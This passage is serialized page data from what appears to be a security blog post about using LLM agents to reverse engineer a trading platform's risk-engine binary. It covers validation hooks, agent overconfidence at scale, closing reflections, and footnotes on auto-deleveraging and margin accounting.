closing the worst position against the best-performing trader.",{"type":23,"tag":47,"props":165394,"children":165396},{"id":165395},"strengths-and-limitations-of-agents-for-reverse-engineering",[165397],{"type":28,"value":165398},"Strengths and Limitations of Agents for Reverse Engineering",{"type":23,"tag":24,"props":165400,"children":165401},{},[165402],{"type":28,"value":165403},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":23,"tag":9693,"props":165405,"children":165407},{"id":165406},"hooks",[165408],{"type":28,"value":165409},"Hooks",{"type":23,"tag":24,"props":165411,"children":165412},{},[165413,165415,165419],{"type":28,"value":165414},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":23,"tag":87,"props":165416,"children":165417},{},[165418],{"type":28,"value":165406},{"type":28,"value":165420},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":23,"tag":24,"props":165422,"children":165423},{},[165424],{"type":28,"value":165425},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":23,"tag":9693,"props":165427,"children":165429},{"id":165428},"scale",[165430],{"type":28,"value":165431},"Scale",{"type":23,"tag":24,"props":165433,"children":165434},{},[165435],{"type":28,"value":165436},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":23,"tag":24,"props":165438,"children":165439},{},[165440],{"type":28,"value":165441},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":23,"tag":9693,"props":165443,"children":165445},{"id":165444},"whats-next",[165446],{"type":28,"value":165447},"What's next?",{"type":23,"tag":24,"props":165449,"children":165450},{},[165451],{"type":28,"value":165452},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":23,"tag":165123,"props":165454,"children":165455},{"url":159083},[],{"type":23,"tag":24,"props":165457,"children":165458},{},[165459],{"type":28,"value":165460},"The analyzed binary can be found here:",{"type":23,"tag":159403,"props":165462,"children":165465},{"path":165463,"name":159008,"size":165464},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":23,"tag":9693,"props":165467,"children":165469},{"id":165468},"closing-words",[165470],{"type":28,"value":165471},"Closing Words",{"type":23,"tag":24,"props":165473,"children":165474},{},[165475],{"type":28,"value":165476},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":23,"tag":24,"props":165478,"children":165479},{},[165480,165482,165487],{"type":28,"value":165481},"Flagship models got us 60% of the way there, but a lot of ",{"type":23,"tag":87,"props":165483,"children":165484},{},[165485],{"type":28,"value":165486},"manual",{"type":28,"value":165488}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":23,"tag":24,"props":165490,"children":165491},{},[165492],{"type":28,"value":165493},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":23,"tag":24,"props":165495,"children":165496},{},[165497],{"type":28,"value":165498},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":23,"tag":165500,"props":165501,"children":165502},"report-footnotes",{},[165503],{"type":23,"tag":131,"props":165504,"children":165505},{},[165506,165511,165538,165543,165548],{"type":23,"tag":135,"props":165507,"children":165508},{},[165509],{"type":28,"value":165510},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":23,"tag":135,"props":165512,"children":165513},{},[165514,165520,165522,165528,165530,165536],{"type":23,"tag":209,"props":165515,"children":165517},{"className":165516},[],[165518],{"type":28,"value":165519},"compute_user_margin_and_shortfall",{"type":28,"value":165521}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":23,"tag":209,"props":165523,"children":165525},{"className":165524},[],[165526],{"type":28,"value":165527},"0x748",{"type":28,"value":165529}," in the abstract expressions of ",{"type":23,"tag":209,"props":165531,"children":165533},{"className":165532},[],[165534],{"type":28,"value":165535},"btree_cursor",{"type":28,"value":165537},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":23,"tag":135,"props":165539,"children":165540},{},[165541],{"type":28,"value":165542},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":23,"tag":135,"props":165544,"children":165545},{},[165546],{"type":28,"value":165547},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":23,"tag":135,"props":165549,"children":165550},{},[165551,165553,165559],{"type":28,"value":165552},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":23,"tag":209,"props":165554,"children":165556},{"className":165555},[],[165557],{"type":28,"value":165558},"s3://hl-mainnet-node-data/explorer_blocks",{"type":28,"value":124},{"title":7,"searchDepth":226,"depth":226,"links":165561},[165562,165563,165564,165565,165566,165569,165570,165571,165574,165575,165578,165582],{"id":158954,"depth":226,"text":158957},{"id":158947,"depth":226,"text":158975},{"id":159032,"depth":226,"text":159035},{"id":159312,"depth":226,"text":159315},{"id":159346,"depth":226,"text":159349,"children":165567},[165568],{"id":159485,"depth":524,"text":159488},{"id":160264,"depth":226,"text":160267},{"id":160360,"depth":226,"text":160363},{"id":160578,"depth":226,"text":160581,"children":165572},[165573],{"id":160823,"depth":524,"text":160826},{"id":160883,"depth":226,"text":160886},{"id":165249,"depth":226,"text":165252,"children":165576},[165577],{"id":165281,"depth":524,"text":165284},{"id":165340,"depth":226,"text":165343,"children":165579},[165580,165581],{"id":165346,"depth":524,"text":165349},{"id":165365,"depth":524,"text":160920},{"id":165395,"depth":226,"text":165398,"children":165583},[165584,165585,165586,165587],{"id":165406,"depth":524,"text":165409},{"id":165428,"depth":524,"text":165431},{"id":165444,"depth":524,"text":165447},{"id":165468,"depth":524,"text":165471},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630589]